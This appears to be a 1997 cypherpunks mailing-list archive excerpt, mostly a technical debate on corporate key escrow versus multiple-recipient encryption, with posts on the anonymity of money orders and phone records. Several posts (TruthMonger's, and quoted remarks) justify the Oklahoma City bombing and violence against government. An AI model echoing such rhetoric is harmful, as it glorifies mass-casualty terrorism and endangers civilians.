From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 11 May 1997 13:49:40 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <3.0.32.19970510224212.006e0a84@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger wrote:

>  Of course, you have your own definintion of innocenent bystanders,
>while others may have different definitions.
..........................................................

To me, an innocent bystander would be someone who was walking by a building
which was blown up by someone with a grudge against its occupants.

You lose the point of your attack when you kill those who do not relate to
the reason for your attack.

"To save the village, we had to destroy it."


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 11 May 1997 11:33:58 +0800
To: cypherpunks@toad.com
Subject: Uncontrolled Munitions List
Message-ID: <1.5.4.32.19970511031215.0075b478@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tim's war underway:

It is not McVeigh's type of ANFO-munitions that threaten
the legal-financial-governmental interests but the uncontrolled
munitions available to wage war on public policy, commerce, 
legislation, funding, regulation, intelligence, surveillance 
and law enforcement.

There has been an astonishing range of such munitions 
discussed on cypherpunks in the three years I've been around, 
and there's much more in the archives (handily collated in Tim's 
Cyphernomicon).

Crypto is central, to be sure, but hardly the only munition, as
many often remind.

Indeed, it is noteworthy how many of the broad range of these
potentially destructive munitions are not regulated by the EAR
and other regimes.

As with chemicals, explosives, bio-organisms, mathematics, physics,
it takes highly skilled people to advise the regulators on what
needs control and when, and not just the finished weapon, but its
components and sub-components. (As an example, see ATF's latest 
list of explosives: http://jya.com/atf050497.txt )

The war underway is often waged at secret councils of scientific
information and intelligence used by all government and
military agencies (meetings are listed in the Federal Register,
regularly reported on jya.com).

So it is not the known terrorist-munitions that are worrisome; it's
the ones not yet publicized but known to scientists, warfighters and
keepers of secrets who keep their fingers crossed and plan for
the worst -- say, the President's Commission on Critical Infrastructure
Protection (http://www.pccip.gov/ ).

It would be instructive to post here uncontrolled munitions 
available for the war underway, with comments on how to elude 
control of the burgeoning domestic and global regimes.

I'd like to host a running Uncontrolled Munitions List (UML) on jya.com.

To be sure, some of that information might be submitted by remailer
or prudently encrypted. Use my public key if no other suits:

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Version: 2.6.2

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lHiuy12o63wETsr1d5EdqWh+dS+p35Ne3qiapoADm1KktJcqIudR7MF7a6tdAAUR
tB1Kb2huIFlvdW5nIDxqeWFAcGlwZWxpbmUuY29tPg==
=c8jN
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 11 May 1997 12:34:05 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
In-Reply-To: <199705110311.VAA20026@wombat.sk.sympatico.ca>
Message-ID: <199705110413.XAA00563@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705110311.VAA20026@wombat.sk.sympatico.ca>, on 05/10/97 at 09:15 PM,
   TruthMonger <tm@dev.null> said:


>  Given the wide knowledge of the OK city Federal Building being a known
>target of anti-government forces, I think the placing of a daycare center
>there was the equivalent of military forces who cowardly advance with
>women and children in front of them. (And there are ample examples of this
>in history.)

Well I think that the FTA's storing of explosives in their offices should
be a clear example of how concerned they were over the safety & welfair of
the rest of those sharing the building with them.

As far as the rest of the post all I can say is that I beleive that their
is a very special place in Hell for those in our government right next
those who let them gain control.

I woun't even discuss the place awaiting those who think what they do is a
"good thing" (Kent) as childern may inadvertantly read this post.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: The choice of the next generation.

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3VW5I9Co1n+aLhhAQH8KAQArvTrAPjA4ky2apiaodcpp4pmWOEE39xr
7ALgqhdjXw0Sulm2uDblvu5YEQy4xmdcULlBKcRI4dkrrUrcOJe4qCtFyJaKSs7Y
n6zUmeGqN3JrR180DGpjYIfqX0ffICCuOdYX9B+g7ybTPDEDXoMh/OunkzJEs5oE
R4oCTnsLuuQ=
=2waB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 11 May 1997 11:39:23 +0800
To: cypherpunks@toad.com
Subject: List of Explosives
Message-ID: <1.5.4.32.19970511032328.0088aeb0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The correct URL for the latest ATF list of explosives:

   http://jya.com/atf042597.xt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 11 May 1997 14:45:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970510122931.54997@bywater.songbird.com>
Message-ID: <19970510233052.07440@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, May 11, 1997 at 12:51:38AM +0100, Adam Back wrote:
> 
> Kent Crispin <kent@songbird.com> writes:
> > On Sat, May 10, 1997 at 07:19:40PM +0100, Adam Back wrote:
> > > It seems to me that it is you Kent who is scrambling to find plausible
> > > reasons why key escrow is the best or only technology to use in
> > > corporate email systems.
> > 
> > Not "best".  "Easiest".  Look at it this way, Adam -- if it was easy 
> > to implement Carl's model, it would already have happened, given the 
> > dislike of key-escrow in the cryptographic community.  
> 
> Firstly: have you done a comprehensive survey of corporate access
> systems available to commerce.

No.  I personally have not.  People I know have, though -- the survey 
was completed about -- um -- a year and a half ago, I guess.  So it 
is somewhat out of date.

> Secondly: there are a number of other forces "encouraging" the GAK
> model.  Government incentives: Europe companies and research groups
> get given research funding to experiment with GAK/TTP architectures.
> Either the architecture is stipulated as part of the call for
> proposals, or proposals involving GAK are going to get funding more
> easily.

That's a good point.

> Third: people involved with key recovery at all have tended to be
> defense contractor types, who are more likely to go with government
> "standards" (such as TTPs/clipper/tessera/etc).

I'm not so sure about this.

> > But, when examined in detail, in light of real requirements from
> > organizations, it is not easy at all.
> 
> I was under the impression that PGP Inc had done it, or is working on
> it.

This is one reason I'm not so sure -- PGP Inc is not a defense contractor.

>  It's not very hard at all, all you need is PGP's existing
> multiple crypto-recipient feature.

If you believe all your employees will correctly use the proper PGP
incantation each and every time, even when they are tired and haven't
had coffee for 4 hours, and their kid is sick, and their wife is mad
about something, then yes, it is simple.  But of course, that is not
realistic.  Employees are forgetful, the organizations goals are not
their goals, and the PGP UI is -- well, I find it a little awkward, 
at times.

So PGP's multiple recipient feature is a fundamental building block, 
but you need something more in a crypto-client to be sure that 
company policy is followed.  It's that "somthing more" that is the 
hard part.

And lest we get into the macho programmer argument -- of course it's 
just a mere matter of design and programming.

> The storage of your company master key needs some thought, but that's
> a common problem with either your crypto key safe model or multiple
> recipient model.
[...]
> I'm not sure that multiple recipient is that much less useful to GAK
> than the safe model, buf if it is at all less useful, and the systems
> otherwise basically equivalent I would argue against the safe model
> for that reason alone.  However I consider the safe model inferior in
> several areas neglecting this issue anyway.
[...]
> I contend that there are similar and mostly comparable problems with
> the safe model.  Lets take a look at a few:
> 
> > > > With this background, perhaps now you can see why I say that Carl's 
> > > > solution doesn't even address the problem.  The problem is management 
> > > > of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  
> 
> Kent says give all the keys to Acme corp, or let Acme corp generate
> the keys.  Who is Acme Corp?

The company that bought the crypto software for the protection of 
company secrets.  I think I said "who *in* Acme Corp", though, as a 
prelude to the following points, because with the multiple recipient 
model there is a policy decision as to which key in Acme is the 
master.  

> The next bit is as a result of multiple recipient being more flexible
> than the safe model as stated.  We now have freedom to allow different
> elements in the company to audit and access different departments
> communications.  Naturally this extra flexibility results in policy
> decisions.

Yes.  To make use of this flexibility you now need a piece of software
that allows you to produce policy decisions, sign them, and make them
visible to all the crypto clients.  Another mere matter of design and
programming.  And this bit of sortware needs to operate securely -- 
you can't just any joe blow subverting it.  

> 
> > > > What part of the organization that is Acme Corp is authorized to know 
> > > > this particular bit of information?  Because some of the employees 
> > > > are idiots you want this built automatically into the application 
> > > > they are using for encryption/email/whatever.  How does this software 
> > > > know what policy is appropriate for which employee?  How is that 
> > > > policy distributed?  What is the interface that allows a policy to be 
> > > > defined?   How do you protect the policy definition from subversion?
> 
> If making policy decisions is too complex in your view for
> implementation or practicality, well just substitute a policy dumbed
> down to the level of the safe model.  Ie there is one crypto
> recipient, all company communications _must_ be encrytped to it as a
> second crypto recipient.


You are right -- there is the degenerate case where the master key is
fixed.  However, I would contend that is *very* bad crypto design.  So
thus you have the problem of distributing information about a revoked
master key.  (Your solution, below, was that you have a signed policy
statement.  If you have a security breach, and are revoking a master
key, how do you know what signature to trust?)

Furthermore, by encrypting every document to the same master key you
have actually vastly increased your exposure -- a key-safe can have a
lot of special-purpose physical and cryptographic security, but the
master key in the multiple recipient model is almost certainly treated
the same as all other keys.  For example, in the key-safe model I can
just hand someone the master key on a floppy, and it doesn't do them
any good, because they can't get to the key-safe -- it is physically
secure.  Next I walk into the physically secure facility (I, as keeper
of the keys, have legitimate access), and change the master key.  No
security problem, no documents have been compromised, regardless of
their physical location or access.  With the multiple recipient model
if I hand out the master key, every visible encrypted document is
immediately and irrevocably compromised.  So the key-safe model 
allows you a far greater security for your data than the multiple 
recipient model.

> Policy distribution is something Netscape has been doing; apparently
> the difference between it's browsers is largely a signed policy file
> with a mildly obfuscated public verification key check in the code.

Completely different environment, of course -- I saw some traffic 
where they admitted that probably without too much effort 
the policy could be subverted.  But I don't deny that it would be 
possible to build a policy distribution scheme -- but it is a 
non-trivial problem.

> I'm sure you can arrange this same flexibility and bring in the
> baggage of the policy decisions that come with it for the safe model
> also if you want it.  Store keys for different departments in
> different safes.  Give the master keys for the department to the
> department head, etc.,etc.  Same problem, similar policy decisions,
> right?

Nope.  Not at all.  The policy for multiple recipients needs to be
interpreted by the crypto clients.  But in the key-safe model policy
is almost entirely in human hands.  It doesn't even have to be written
down.  

Modestly secure example: The keysafe runs on a single workstation,
hardened similar to a firewall.  The only network connections are to a
single port, which does the cryptographically secure key storing
protocol.  When a key needs to be recovered, three trusted employees
troop into the room (three passwords are required, these passwords are
essentially the master key), and retrieve the needed key on a floppy. 
Other than the authentication protocol, there is *no* policy embedded
in the key-safe, which is to say, *any* policy the company wants to
use is ok.  It may take the personal presence of the company
president, it may take a signed statement from operations staff,
whatever.  No policy is embedded in software, and no software to
support software needs to be written. 

> > The key-safe model has no significant policy issues that need to be
> > embedded in software -- the only policy is "when data encryption
> > keys are generated a copy is sent to the key-safe (using an
> > encrypted channel, of course)."
> 
> As stated above, this is because you have chosen a single master key
> to go with the safe model.  If you choose a single crypto-recipient,
> and master key encrypting the private half of that key, you largely
> have equivalence.

Not so, as I hopefully explained above, the key-safe can have enhance 
security, so that the danger of a compromise is lessened.

> > > I don't see the difference.  With the encrypt to multiple recipients
> > > approach where the second crypto-recipient is the company key you can
> > > store the private half of the corporate key using the same techniques
> > > you discussed above.
> > > 
> > > Access to the data requires access to the master key in both cases.
> > 
> > It follows, therefore, that if the master key is compromised in both
> > systems, all data is compromised.  From that perspective, the systems
> > are equally secure. 
> 
> Or similarly insecure.  They are quite similar, I think multiple
> recipient offers more flexibility, and security advantages, as well as
> avoiding the sharing of private keys.

I spoke too soon here.  The key-safe model is intrinsically more 
secure.

> 
> > > You fix the second crypto-recipient in the MUA if you wish to.
> > 
> > This is precisely the point I was alluding to in the policy discussion
> > above.  In an organizational content, *of course* you will put all the
> > complexity in the MUA.  The question is, how do you change the 
> > "master key" indicator that is in each MUA?  Suppose that the 
> > organization wants different keys for different departments -- how do 
> > you keep track of which master key goes where?  How do all those 
> > MUA's get their key policy module updated?
> 
> Sign the policy file.  Certify the signing key(s).  You're going to
> have this anway for authentication of email content.

You may not be able to trust the signature.
[...]

> > >  You
> > > can use binding cryptography to ensure the fire-wall can tell that it
> > > is an encrypted copy of the same document without the firewall needing
> > > access to the master key.  You can't do this company has all keys in
> > > the safe model, without givin the firewall automatic access to the
> > > safe, which is a huge security risk.
> > 
> > ???
> > With the key-safe model the firewall never enters into the picture.
> 
> It does for the same functionality.  With the key-safe model how do
> you know that the ciphertexts flowing out of the building are
> encrypted with a key that is in your safe at all?

Oh -- I'm sorry.  I didn't think through what you were saying.  You
were attempting to guard against an insider threat.  A waste of time,
probably.  He could frisbee a floppy out the window to his honey in
the red sports car. 

> You don't have to do the binding cryptography stuff with multiple
> recipients if you don't want to.  With the safe model you can't do it
> even if you do want to.

How does the firewall know what is encrypted?  Just a bunch of gifs 
of the family?  Just the first 5000 lines of "Paradise Lost", slightly 
altered? 

Anyway, if the employee uses the "approved" MUA, and it isn't 
compromised, then it can store a copy of all outgoing mail, encrypted 
with the employee's key.  If he doesn't use the approved MUA, or the 
MUA is compromised, then of course the firewall protections are 
useless.  So, in the keysafe model, the firewall never enters the 
picture -- it is all handled in the MUA, anyway.

> > > The advantage of the multiple recipient model is that doesn't commit
> > > the cardinal sin/design flaw of sharing private crypto keys.
> > 
> > Two things:  First, any crypto system that doesn't deal with 
> > protection/recovery/secure-use of private keys is incomplete.
> 
> For storage encryption keys where backups are not plaintext, I agree.
> For communication keys, you do not need to backup.  Doing so weakens
> security.  Communications keys should be transient, forward secret
> even.  Authentication keys should be persistent, back up not required,
> just generate new key, and new certificates if lost.  Storage keys
> should be backed up where necessary.

I agree with all this.  Only storage keys need to be in the keysafe.

[...]

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sun, 11 May 1997 11:43:31 +0800
To: John Young <cypherpunks@cyberpass.net
Subject: Re: Intel for the War Underway
In-Reply-To: <1.5.4.32.19970510234723.0070b968@pop.pipeline.com>
Message-ID: <3.0.1.32.19970510233609.006ee758@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:47 PM 5/10/97 -0400, John Young wrote:
>The May 10 Economist has a special survey of
>global electronic commerce.

Available of course at:

http://www.economist.com/surveys/elcom/

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 11 May 1997 14:49:15 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <199705110628.AAA04901@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc wrote:
> TruthMonger wrote:
> >  Of course, you have your own definintion of innocenent bystanders,
> >while others may have different definitions.
> ..........................................................
> To me, an innocent bystander would be someone who was walking by a building
> which was blown up by someone with a grudge against its occupants.
> 
> You lose the point of your attack when you kill those who do not relate to
> the reason for your attack.

  Not necessarily. Free thinkers are perfectly capable of judging the
reasons behind those involved on both sides of a conflict, and making
an individual judgement as to the culpability of both parties.
  When a citizen shoots an intruder who is breaking into their house
and threatening their saftey, there will always be family members,
lawyers and anti-gun proponents who will decry the individual's use
of force to defend their home and person/family. There are others,
whoever, who will recognize that the perpetrator is the one who is
ultimately responsible for placing the homeowner in the position of
having a need to defend themself.

  Personally, if I need to worry about my life because my government's
actions makes them an actionable target of an increasing number of the
citizens, then I am going to take action to change the government.
  I do not deny anyone's right to suffer silently, but neither do I
deny an individual's right to strike out at the source of their
oppression.

  If you have developed a method for waging war without ordinary
citizens coming into the line of fire, then I would like to hear 
about it. I don't like conflict any more than the next person, but
I do not see concession to the oppressor as a viable option just
because conflict will cause loss and heartache.
  Take a look at the results of the appeasement policy that Britain
had in regard to Hitler. It resulted in scores of deaths that could
have been prevented had those proposing it taken a firm stand that
supported freedom from tyranny.

  The fact is that Tim McVeigh is facing criminal charges for his
chosen actions, while the murderers at Waco are not.
  Until the average citizens demand the same justice for government
agents as is demanded of anti-government agents, the average John
or Jane Doe can expect to get caught in the crossfire.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 11 May 1997 15:41:35 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <3.0.32.19970511003249.006b1640@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger wrote:

>  The fact is that Tim McVeigh is facing criminal charges for his
>chosen actions, while the murderers at Waco are not.
>  Until the average citizens demand the same justice for government
>agents as is demanded of anti-government agents, the average John
>or Jane Doe can expect to get caught in the crossfire.
........................................................


Well, you're an average citizen.   Have you demanded the same justice for
govmt agents, and was your demand honored?

Gee, too bad.   Tough luck.

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 11 May 1997 08:09:40 +0800
To: kent@songbird.com
Subject: Re: key recovery vs data backup
In-Reply-To: <19970510122931.54997@bywater.songbird.com>
Message-ID: <199705102351.AAA03114@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
> On Sat, May 10, 1997 at 07:19:40PM +0100, Adam Back wrote:
> > It seems to me that it is you Kent who is scrambling to find plausible
> > reasons why key escrow is the best or only technology to use in
> > corporate email systems.
> 
> Not "best".  "Easiest".  Look at it this way, Adam -- if it was easy 
> to implement Carl's model, it would already have happened, given the 
> dislike of key-escrow in the cryptographic community.  

Firstly: have you done a comprehensive survey of corporate access
systems available to commerce.

Secondly: there are a number of other forces "encouraging" the GAK
model.  Government incentives: Europe companies and research groups
get given research funding to experiment with GAK/TTP architectures.
Either the architecture is stipulated as part of the call for
proposals, or proposals involving GAK are going to get funding more
easily.

Third: people involved with key recovery at all have tended to be
defense contractor types, who are more likely to go with government
"standards" (such as TTPs/clipper/tessera/etc).

> But, when examined in detail, in light of real requirements from
> organizations, it is not easy at all.

I was under the impression that PGP Inc had done it, or is working on
it.  It's not very hard at all, all you need is PGP's existing
multiple crypto-recipient feature.

The storage of your company master key needs some thought, but that's
a common problem with either your crypto key safe model or multiple
recipient model.

> I'm not "scrambling", Adam.  If there is anything you need to
> understand here, it is that I am *not* in favor of GAK.  

I have a memory.  I recall you made several posts where-in you said
you were against GAK.  Your line of argument seems to be that the rest
of us are misguided, or are allowing are dislike of GAK to cloud our
judgement on what a good crypto architecture GAK would be applied to
corporate key escrow.  Right?

> Chisel that in stone and think about it a bit -- your
> misunderstanding of my motives causes you to gloss over my arguments
> and not think about them.  I am sympathetic to your concerns, and I
> am trying to explain something I truly think people are missing.
> Think of me as intelligent, Adam, and I will do the same for you.

I have no doubts as to your intelligence.  I understand what you are
trying to explain, and understood the first time you tried to explain;
I just disagree!  If you want to discuss your motives, the thing that
puzzles me is that your tone, overall apparent statist tendencies, and
zest on this topic are at odds with your stance on GAK.  Did you ever
come across a guy called David Sternlight?  (Clearly an intelligent
guy, but having a tendency to hang on to arguments, and stir up flame
wars, in his case I'm sure this was intentional.)  Not equating you to
Sternlight, though there are some similarities in style.

Perhaps it is just that some of us reacted negatively when you first
bought this topic up, and you are still acting in retaliatorily
hostile manner as a result of this.  Remember it was you who called
for rational calm discussion.  People impute from your apparent
statist leanings, and your arguments against people who are against
the key-safe model because of the possibility of helping build a GAK
infrastructure that you are pro-GAK.  Perhaps you need to disclaim
this more clearly.

If I believed GAK architecture was superior to multiple-recipient, and
was arguing this I don't think I'd come across in the same way.

I'm not sure that multiple recipient is that much less useful to GAK
than the safe model, buf if it is at all less useful, and the systems
otherwise basically equivalent I would argue against the safe model
for that reason alone.  However I consider the safe model inferior in
several areas neglecting this issue anyway.

> > > [claimed unique and fatally complex problems with multiple 
> > > recipient approach]
> > 
> > Ah I see you do acknowledge what Carl Ellison and Matt Blaze have been
> > saying on cryptography@c2, that key escrow has complexity problems,
> > contrary to what you have previously been arguing :-)
> 
> You completely missed the point of the above paragraph -- all those
> questions apply to the "encrypt to policy-specified local recipients"
> model, and *don't* apply to the key-safe model.  

I contend that there are similar and mostly comparable problems with
the safe model.  Lets take a look at a few:

> > > With this background, perhaps now you can see why I say that Carl's 
> > > solution doesn't even address the problem.  The problem is management 
> > > of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  

Kent says give all the keys to Acme corp, or let Acme corp generate
the keys.  Who is Acme Corp?

The next bit is as a result of multiple recipient being more flexible
than the safe model as stated.  We now have freedom to allow different
elements in the company to audit and access different departments
communications.  Naturally this extra flexibility results in policy
decisions.

> > > What part of the organization that is Acme Corp is authorized to know 
> > > this particular bit of information?  Because some of the employees 
> > > are idiots you want this built automatically into the application 
> > > they are using for encryption/email/whatever.  How does this software 
> > > know what policy is appropriate for which employee?  How is that 
> > > policy distributed?  What is the interface that allows a policy to be 
> > > defined?   How do you protect the policy definition from subversion?

If making policy decisions is too complex in your view for
implementation or practicality, well just substitute a policy dumbed
down to the level of the safe model.  Ie there is one crypto
recipient, all company communications _must_ be encrytped to it as a
second crypto recipient.

Policy distribution is something Netscape has been doing; apparently
the difference between it's browsers is largely a signed policy file
with a mildly obfuscated public verification key check in the code.

I'm sure you can arrange this same flexibility and bring in the
baggage of the policy decisions that come with it for the safe model
also if you want it.  Store keys for different departments in
different safes.  Give the master keys for the department to the
department head, etc.,etc.  Same problem, similar policy decisions,
right?

> The key-safe model has no significant policy issues that need to be
> embedded in software -- the only policy is "when data encryption
> keys are generated a copy is sent to the key-safe (using an
> encrypted channel, of course)."

As stated above, this is because you have chosen a single master key
to go with the safe model.  If you choose a single crypto-recipient,
and master key encrypting the private half of that key, you largely
have equivalence.

> > I don't see the difference.  With the encrypt to multiple recipients
> > approach where the second crypto-recipient is the company key you can
> > store the private half of the corporate key using the same techniques
> > you discussed above.
> > 
> > Access to the data requires access to the master key in both cases.
> 
> It follows, therefore, that if the master key is compromised in both
> systems, all data is compromised.  From that perspective, the systems
> are equally secure. 

Or similarly insecure.  They are quite similar, I think multiple
recipient offers more flexibility, and security advantages, as well as
avoiding the sharing of private keys.

> > You fix the second crypto-recipient in the MUA if you wish to.
> 
> This is precisely the point I was alluding to in the policy discussion
> above.  In an organizational content, *of course* you will put all the
> complexity in the MUA.  The question is, how do you change the 
> "master key" indicator that is in each MUA?  Suppose that the 
> organization wants different keys for different departments -- how do 
> you keep track of which master key goes where?  How do all those 
> MUA's get their key policy module updated?

Sign the policy file.  Certify the signing key(s).  You're going to
have this anway for authentication of email content.

> >  The
> > fire-wall can reject posts without the second crypto-recipient.
> 
> How does the key policy module in the firewall get updated?

Sign it too.

> >  You
> > can use binding cryptography to ensure the fire-wall can tell that it
> > is an encrypted copy of the same document without the firewall needing
> > access to the master key.  You can't do this company has all keys in
> > the safe model, without givin the firewall automatic access to the
> > safe, which is a huge security risk.
> 
> ???
> With the key-safe model the firewall never enters into the picture.

It does for the same functionality.  With the key-safe model how do
you know that the ciphertexts flowing out of the building are
encrypted with a key that is in your safe at all?

You don't have to do the binding cryptography stuff with multiple
recipients if you don't want to.  With the safe model you can't do it
even if you do want to.

> > The advantage of the multiple recipient model is that doesn't commit
> > the cardinal sin/design flaw of sharing private crypto keys.
> 
> Two things:  First, any crypto system that doesn't deal with 
> protection/recovery/secure-use of private keys is incomplete.

For storage encryption keys where backups are not plaintext, I agree.
For communication keys, you do not need to backup.  Doing so weakens
security.  Communications keys should be transient, forward secret
even.  Authentication keys should be persistent, back up not required,
just generate new key, and new certificates if lost.  Storage keys
should be backed up where necessary.

> > The `it's easier to explain a safe full of all employee keys' to
> > management argument is nonsense also.  It's a master key either way
> > and just as easy to explain either way: a master key is a key that
> > lets you decrypt all mail.
> 
> At that level of generality both these systems are identical, and 
> equally easy to explain.  It's when you get down to the details that 
> things become more interesting.

With the safe model, to allow access to outgoing mail, you'll have to
encrypt to a company key as second crypto-recipient, or to yourself,
thereby allowing company access through access to your key.  Quite
similar to multiple recipient.  Similar explanation.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 11 May 1997 15:18:01 +0800
To: cypherpunks@toad.com
Subject: Vlad-smear blows himself...
Message-ID: <199705110658.AAA05955@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri wrote: 
> kC on TCM:
> >
> >"May they all be vaporized."
> >
> >"Every day that passes, I'm more convinced that McVeigh did the right thing.
> >Some innocents died, but, hey, war is hell. Broken eggs and all that."

> yeah, I've noticed that TCM is really uptight lately and has been way off
> the scale (more so than usual) on the "panty-knot" scale. what gives,
> Tim? I think the situation is mostly he's so upset that congress is
> discussing bills with the words "crypto" in them, which is apparently
> enough to make him cringe with terror.
> 
> when the CDA was being passed, I think his hemor^h^h^h rhetoric
> swelled up then too as well. but look at what happened with the
> CDA-- it got challenged, killed by lower courts,
> and is stuck in the supreme court, likely
> to be struck down there too. far from the end of the world forecast
> by some here.

  Get real. The Feds have attacks going on a dozen fronts on 
anything they support or oppose and they don't particularly care
if a bill is constitutional or not, as long as it achieves the
desired effect. They are happy as long as they can terrorize
enough citizens and businesses with threats of imprisonment to
move things in their desired direction.
  
> do we have a constitution or not? if so, we have nothing to worry
> about.

  What a crock of shit! This is just another variation of "It's
not perfect, but it's the best sytem we've got." Why is it always
the oppressors who seem so enamored of the way the system works?

> TCM is terrified by virtually anything that happens in govt, which is
> amusing and comical at times.

  If I thought Vlad-smear was not a paid government schill, then I
would assume he is a fucking idiot.
  I love to see how quickly "patriots" stop waving the red, white and
blue once the government's stick gets shoved up their own butt. Believe
it or not, Vlad-smear, there are individuals who fight against loss of
freedom and liberty even when it is someone else who is getting 
screwed.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 11 May 1997 14:29:51 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Disinformation in L.A.
In-Reply-To: <Pine.SUN.3.94.970510191520.7299A-100000@panix.com>
Message-ID: <Pine.GSO.3.95.970511020618.12848B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 10 May 1997, Duncan Frissell wrote:
> 
> Tim was mostly talking about nuking the District of Columbia.  You will
> note that that is an artificial community filled entirely with politicians
> and their sycophants.

Ahem!

I note that Washington, DC occasionally even contains Duncan Frissells,
Lucky Greens, and Sameer Parekhs.

-Declan
Washington, DC






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Sun, 11 May 1997 17:26:17 +0800
To: cypherpunks@cyberpass.net
Subject: Money orders, debit cards, ...
Message-ID: <5l42hm$u44@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


Some court transcripts from the McVeigh case contain interesting
information about real-life anonymous systems.  See
    http://www.cnn.com/US/9703/okc.trial/transcripts/may/050697.eve.html

Did you know that money orders are not so anonymous as you might think?
On the order itself are digits identifying the post office where the
order was purchased, as well as the date of purchase.  Also, a private
company testified on their money order service, and it comes out that
they keep a computerized record of every money order purchase in a
central database.  Eek.

And read about a real-life instance of traffic analysis of phone calls
based on timing correlations.  This one really happened, folks (though
it was by mistake).  Also, read about how a company offering prepaid
debit cards searched through billions of records to find all phone calls
to or from a certain number, etc.  Read about how they entered a disk
containing information on 100,000--200,000 phone calls (!) into evidence.
(Note: contents of calls are protected by law, but traffic analysis
specifically is allowed, far as I can tell.)

And you value your privacy?  Too bad!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 11 May 1997 14:33:32 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705110618.CAA13578@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



##
Newsgroups:
Subject: Re: Disinformation in L.A.

On or About 10 May 97 at 19:23, Igor Chudov @ home wrote:

> Duncan Frissell wrote:
> > On Sat, 10 May 1997, Kent Crispin wrote:
> > 
> > > I would expect a "cypherpunk riot" to be a little more aimed at
> > > cyberspace than real-world suburban neighborhoods.  Wouldn't
> > > you?
> > There will be a few unfortunate explosions in the world over the
> > next few years so I'm sure Tim is just hoping for a beneficial
> > target selection.

Those who tell don't know, those who know don't tell.

> Duncan, it is doubtful that there is any member of this mailing
> list, at least of those whom I have seen posting, who will dare to
> raise his fat ass and blow something up.

Man, Igor, you really hit that on the head.  My "blowing things up" 
days are long over.  That was 20 years or more ago AND 50-75 pounds.

I say "Leave that to the younger ones, who think they are 
indestructable, anyway"
 
> The "radicals" are mostly sitting and waiting for something dramatic
> to happen, preferably as far from their nice houses and bank
> accounts as possible.

I've got a nice condo, a wife who is straight arrow, and a bigger 
bank account than I had in the militant hippie daze.  I would, 
however take up arms for the cause of state's rights.  I love my state 
far more than my country, even if I am a Nam vet.

Of course I do considerable fire power at my disposal.  All legal, by 
the way (at the time of this writing).
 
> Jim Bell might be an exception, but I would not bet on him.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
